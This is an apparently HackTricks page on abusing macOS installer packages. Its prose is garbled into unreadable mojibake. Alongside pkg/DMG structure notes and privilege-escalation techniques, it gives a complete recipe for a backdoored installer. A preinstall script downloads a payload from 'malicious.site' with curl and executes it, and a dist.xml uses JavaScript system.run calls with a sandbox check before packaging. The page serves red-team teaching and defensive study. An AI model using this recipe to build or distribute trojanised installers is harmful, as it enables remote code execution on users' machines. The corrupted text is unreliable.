macOS Installers Abuse
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Pkg ๊ธฐ๋ณธ ์ ๋ณด
macOS ์ค์น ํจํค์ง(๋๋ .pkg ํ์ผ๋ก๋ ์๋ ค์ง)๋ macOS์์ ์ํํธ์จ์ด๋ฅผ ๋ฐฐํฌํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ ํ์ผ ํ์์
๋๋ค. ์ด ํ์ผ๋ค์ ์ํํธ์จ์ด๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ์ค์น๋๊ณ ์คํ๋๋ ๋ฐ ํ์ํ ๋ชจ๋ ๊ฒ์ ๋ด๊ณ ์๋ ์์์ ๊ฐ์ต๋๋ค.
ํจํค์ง ํ์ผ ์์ฒด๋ ๋์ ์ปดํจํฐ์ ์ค์น๋ ํ์ผ ๋ฐ ๋๋ ํ ๋ฆฌ์ ๊ณ์ธต์ ํฌํจํ๋ ์์นด์ด๋ธ์ ๋๋ค. ๋ํ ์ค์น ์ ํ์ ์์ ์ ์ํํ๊ธฐ ์ํ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํ ์ ์์ผ๋ฉฐ, ์๋ฅผ ๋ค์ด ๊ตฌ์ฑ ํ์ผ์ ์ค์ ํ๊ฑฐ๋ ์ํํธ์จ์ด์ ์ด์ ๋ฒ์ ์ ์ ๋ฆฌํ๋ ์์ ์ด ์์ต๋๋ค.
๊ณ์ธต

- ๋ฐฐํฌ (xml): ์ฌ์ฉ์ ์ ์(์ ๋ชฉ, ํ์ ํ ์คํธโฆ) ๋ฐ ์คํฌ๋ฆฝํธ/์ค์น ํ์ธ
- PackageInfo (xml): ์ ๋ณด, ์ค์น ์๊ตฌ ์ฌํญ, ์ค์น ์์น, ์คํํ ์คํฌ๋ฆฝํธ ๊ฒฝ๋ก
- ์์ฌ ๋ช ์ธ์ (bom): ์ค์น, ์ ๋ฐ์ดํธ ๋๋ ์ ๊ฑฐํ ํ์ผ ๋ชฉ๋ก๊ณผ ํ์ผ ๊ถํ
- ํ์ด๋ก๋ (CPIO ์์นด์ด๋ธ gzip ์์ถ): PackageInfo์์
install-location์ ์ค์นํ ํ์ผ - ์คํฌ๋ฆฝํธ (CPIO ์์นด์ด๋ธ gzip ์์ถ): ์ค์น ์ ํ ์คํฌ๋ฆฝํธ ๋ฐ ์คํ์ ์ํด ์์ ๋๋ ํ ๋ฆฌ์ ์ถ์ถ๋ ์ถ๊ฐ ๋ฆฌ์์ค.
์์ถ ํด์
# Tool to directly get the files inside a package
pkgutil โexpand "/path/to/package.pkg" "/path/to/out/dir"
# Get the files ina. more manual way
mkdir -p "/path/to/out/dir"
cd "/path/to/out/dir"
xar -xf "/path/to/package.pkg"
# Decompress also the CPIO gzip compressed ones
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts
์ค์น ํ๋ก๊ทธ๋จ์ ๋ด์ฉ์ ์๋์ผ๋ก ์์ถ ํด์ ํ์ง ์๊ณ ์๊ฐํํ๋ ค๋ฉด ๋ฌด๋ฃ ๋๊ตฌ Suspicious Package๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
DMG ๊ธฐ๋ณธ ์ ๋ณด
DMG ํ์ผ, ๋๋ Apple Disk Images๋ Apple์ macOS์์ ๋์คํฌ ์ด๋ฏธ์ง๋ฅผ ์ํด ์ฌ์ฉ๋๋ ํ์ผ ํ์์ ๋๋ค. DMG ํ์ผ์ ๋ณธ์ง์ ์ผ๋ก ๋ง์ดํธ ๊ฐ๋ฅํ ๋์คํฌ ์ด๋ฏธ์ง(์์ฒด ํ์ผ ์์คํ ์ ํฌํจ)๋ก, ์ผ๋ฐ์ ์ผ๋ก ์์ถ๋๊ณ ๋๋๋ก ์ํธํ๋ ์์ ๋ธ๋ก ๋ฐ์ดํฐ๋ฅผ ํฌํจํฉ๋๋ค. DMG ํ์ผ์ ์ด๋ฉด macOS๊ฐ ๋ฌผ๋ฆฌ์ ๋์คํฌ์ฒ๋ผ ๋ง์ดํธํ์ฌ ๊ทธ ๋ด์ฉ์ ์ ๊ทผํ ์ ์๊ฒ ํฉ๋๋ค.
Caution
.dmg์ค์น ํ๋ก๊ทธ๋จ์ ๋งค์ฐ ๋ง์ ํ์์ ์ง์ํ๋ฏ๋ก, ๊ณผ๊ฑฐ์ ์ทจ์ฝ์ ์ ํฌํจํ ์ผ๋ถ๊ฐ ์ปค๋ ์ฝ๋ ์คํ์ ์ป๊ธฐ ์ํด ์ ์ฉ๋์์ต๋๋ค.
๊ณ์ธต ๊ตฌ์กฐ
.png)
DMG ํ์ผ์ ๊ณ์ธต ๊ตฌ์กฐ๋ ๋ด์ฉ์ ๋ฐ๋ผ ๋ค๋ฅผ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ ํ๋ฆฌ์ผ์ด์ DMG์ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ผ๋ก ๋ค์ ๊ตฌ์กฐ๋ฅผ ๋ฐ๋ฆ ๋๋ค:
- ์ต์์: ๋์คํฌ ์ด๋ฏธ์ง์ ๋ฃจํธ์ ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ์ ํ๋ฆฌ์ผ์ด์ ํด๋์ ๋ํ ๋งํฌ๋ฅผ ํฌํจํฉ๋๋ค.
- ์ ํ๋ฆฌ์ผ์ด์ (.app): ์ค์ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋๋ค. macOS์์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ผ๋ฐ์ ์ผ๋ก ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ตฌ์ฑํ๋ ์ฌ๋ฌ ๊ฐ๋ณ ํ์ผ๊ณผ ํด๋๋ฅผ ํฌํจํ๋ ํจํค์ง์ ๋๋ค.
- ์ ํ๋ฆฌ์ผ์ด์ ๋งํฌ: macOS์ ์ ํ๋ฆฌ์ผ์ด์ ํด๋์ ๋ํ ๋ฐ๋ก ๊ฐ๊ธฐ์ ๋๋ค. ์ด๋ ์ ํ๋ฆฌ์ผ์ด์ ์ค์น๋ฅผ ์ฝ๊ฒ ํ๊ธฐ ์ํ ๊ฒ์ ๋๋ค. .app ํ์ผ์ ์ด ๋ฐ๋ก ๊ฐ๊ธฐ๋ก ๋๋๊ทธํ์ฌ ์ฑ์ ์ค์นํ ์ ์์ต๋๋ค.
pkg ์ ์ฉ์ ํตํ ๊ถํ ์์น
๊ณต๊ฐ ๋๋ ํ ๋ฆฌ์์์ ์คํ
์๋ฅผ ๋ค์ด, ์ค์น ์ ๋๋ ํ ์คํฌ๋ฆฝํธ๊ฐ **/var/tmp/Installerutil**์์ ์คํ๋๊ณ , ๊ณต๊ฒฉ์๊ฐ ํด๋น ์คํฌ๋ฆฝํธ๋ฅผ ์ ์ดํ ์ ์๋ค๋ฉด, ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ ๋๋ง๋ค ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค. ๋๋ ๋ ๋ค๋ฅธ ์ ์ฌํ ์:

AuthorizationExecuteWithPrivileges
์ด๋ ์ฌ๋ฌ ์ค์น ํ๋ก๊ทธ๋จ๊ณผ ์ ๋ฐ์ดํธ ํ๋ก๊ทธ๋จ์ด **๋ฃจํธ๋ก ๋ฌด์ธ๊ฐ๋ฅผ ์คํํ๊ธฐ ์ํด ํธ์ถํ๋ ๊ณต๊ฐ ํจ์**์ ๋๋ค. ์ด ํจ์๋ ์คํํ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ๋งค๊ฐ๋ณ์๋ก ๋ฐ์๋ค์ด์ง๋ง, ๊ณต๊ฒฉ์๊ฐ ์ด ํ์ผ์ ์์ ํ ์ ์๋ค๋ฉด, ๋ฃจํธ๋ก ์คํ์ ์ ์ฉํ์ฌ ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค.
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig
๋ ๋ง์ ์ ๋ณด๋ ์ด ๊ฐ์๋ฅผ ํ์ธํ์ธ์: https://www.youtube.com/watch?v=lTOItyjTTkw
๋ง์ดํธ๋ฅผ ํตํ ์คํ
์ค์น ํ๋ก๊ทธ๋จ์ด /tmp/fixedname/bla/bla์ ์ธ ๊ฒฝ์ฐ, ์์ ์๊ฐ ์๋ /tmp/fixedname ์์ ๋ง์ดํธ๋ฅผ ์์ฑํ์ฌ ์ค์น ๊ณผ์ ์ค์ ์ด๋ค ํ์ผ๋ ์์ ํ ์ ์์ต๋๋ค.
์ด์ ์๋ก CVE-2021-26089๊ฐ ์์ผ๋ฉฐ, ์ด๋ ์ฃผ๊ธฐ์ ์ธ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฃจํธ ๊ถํ์ผ๋ก ์คํํ๊ธฐ ์ํด ๋ฎ์ด์ฐ๋ ๋ฐ ์ฑ๊ณตํ์ต๋๋ค. ๋ ๋ง์ ์ ๋ณด๋ ์ด ๊ฐ์๋ฅผ ํ์ธํ์ธ์: OBTS v4.0: โMount(ain) of Bugsโ - Csaba Fitzl
pkg๋ฅผ ์ ์ฑ ์ํํธ์จ์ด๋ก ์ฌ์ฉํ๊ธฐ
๋น ํ์ด๋ก๋
์ค์ ํ์ด๋ก๋ ์์ด ์คํฌ๋ฆฝํธ ์ ํ ์ค์น๋ฅผ ํฌํจํ .pkg ํ์ผ์ ์์ฑํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค.
๋ฐฐํฌ xml์ JS
ํจํค์ง์ ๋ฐฐํฌ xml ํ์ผ์ <script> ํ๊ทธ๋ฅผ ์ถ๊ฐํ ์ ์์ผ๋ฉฐ, ํด๋น ์ฝ๋๋ ์คํ๋์ด **system.run**์ ์ฌ์ฉํ์ฌ ๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค:
.png)
๋ฐฑ๋์ด ์ค์น ํ๋ก๊ทธ๋จ
dist.xml ๋ด๋ถ์ ์คํฌ๋ฆฝํธ์ JS ์ฝ๋๋ฅผ ์ฌ์ฉํ๋ ์ ์ฑ ์ค์น ํ๋ก๊ทธ๋จ
# Package structure
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts
# Create preinstall scripts
cat > pkgroot/scripts/preinstall <<EOF
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
EOF
# Build package
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg
# Generate the malicious dist.xml
cat > ./dist.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
EOF
# Buil final
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg
์ฐธ๊ณ ๋ฌธํ
- DEF CON 27 - ํจํค์ง ์์ถ ํด์ : macOS ์ค์น ํจํค์ง ๋ฐ ์ผ๋ฐ ๋ณด์ ๊ฒฐํจ ๋ด๋ถ ์ดํด๋ณด๊ธฐ
- OBTS v4.0: โmacOS ์ค์น ํ๋ก๊ทธ๋จ์ ์ผ์ ์ธ๊ณโ - Tony Lambert
- DEF CON 27 - ํจํค์ง ์์ถ ํด์ : macOS ์ค์น ํจํค์ง ๋ด๋ถ ์ดํด๋ณด๊ธฐ
- https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


